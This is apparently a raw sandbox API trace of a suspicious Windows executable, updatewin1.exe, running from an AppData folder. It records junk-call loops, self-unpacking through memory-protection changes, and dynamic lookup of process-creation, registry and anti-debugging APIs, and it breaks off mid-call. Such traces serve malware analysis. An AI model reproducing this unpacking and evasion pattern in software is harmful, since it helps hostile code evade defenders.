[0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.785] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.785] AddAtomA (lpString=0x0) returned 0x0 [0047.785] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.786] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.786] AddAtomA (lpString=0x0) returned 0x0 [0047.786] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.786] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.786] AddAtomA (lpString=0x0) returned 0x0 [0047.786] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.786] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.786] AddAtomA (lpString=0x0) returned 0x0 [0047.786] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.786] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.786] AddAtomA (lpString=0x0) returned 0x0 [0047.786] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.786] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.786] AddAtomA (lpString=0x0) returned 0x0 [0047.786] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.786] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.786] AddAtomA (lpString=0x0) returned 0x0 [0047.786] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.786] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.904] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0047.904] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0047.904] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0047.904] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0047.904] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0047.904] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0047.904] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0047.904] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0047.904] SetErrorMode (uMode=0x400) returned 0x0 [0047.904] SetErrorMode (uMode=0x0) returned 0x400 [0047.904] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0047.904] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0047.907] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0047.935] VirtualFree (lpAddress=0x1a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0047.936] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0047.936] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0047.936] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0047.936] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0047.937] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0047.938] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0047.939] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0047.940] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0047.941] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0047.941] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0047.941] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0047.941] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0047.941] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0047.941] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0047.941] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0047.941] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0047.941] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0047.941] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0047.941] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0047.941] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0047.941] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0047.941] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0047.942] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0047.942] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0047.942] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0047.942] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0047.942] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0047.942] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0047.942] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0047.942] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0047.942] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0047.942] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0047.942] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749b0000 [0047.954] GetProcAddress (hModule=0x749b0000, lpProcName="atexit") returned 0x749cc544 [0047.954] atexit (param_1=0x2963d8) returned 0 [0047.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xdafc450, dwHighDateTime=0x1d53559)) [0047.954] GetCurrentThreadId () returned 0x59c [0047.954] GetCurrentProcessId () returned 0x7a8 [0047.955] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=16821802868) returned 1 [0047.955] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0047.955] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0047.955] GetLastError () returned 0x57 [0047.955] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0047.955] GetLastError () returned 0x57 [0047.955] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0047.955] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0047.955] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0047.955] GetLastError () returned 0x57 [0047.955] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0047.955] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0047.955] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0047.955] GetLastError () returned 0x57 [0047.955] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0047.955] GetLastError () returned 0x57 [0047.955] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0047.955] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0047.956] GetProcessHeap () returned 0x280000 [0047.956] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0047.956] GetLastError () returned 0x57 [0047.956] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0047.956] GetLastError () returned 0x57 [0047.956] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0047.956] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0047.956] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x364) returned 0x2aa9e8 [0047.956] SetLastError (dwErrCode=0x57) [0047.956] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xc00) returned 0x2aad58 [0047.957] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0xe68b0166, hStdError=0xfffffffe)) [0047.957] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0047.957] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0047.957] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0047.958] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" " [0047.958] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" " [0047.958] GetACP () returned 0x4e4 [0047.958] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x220) returned 0x2a9ea8 [0047.958] IsValidCodePage (CodePage=0x4e4) returned 1 [0047.958] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0047.958] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.958] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0047.958] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0047.958] GetLastError () returned 0x57 [0047.958] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0047.958] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0047.958] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0047.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 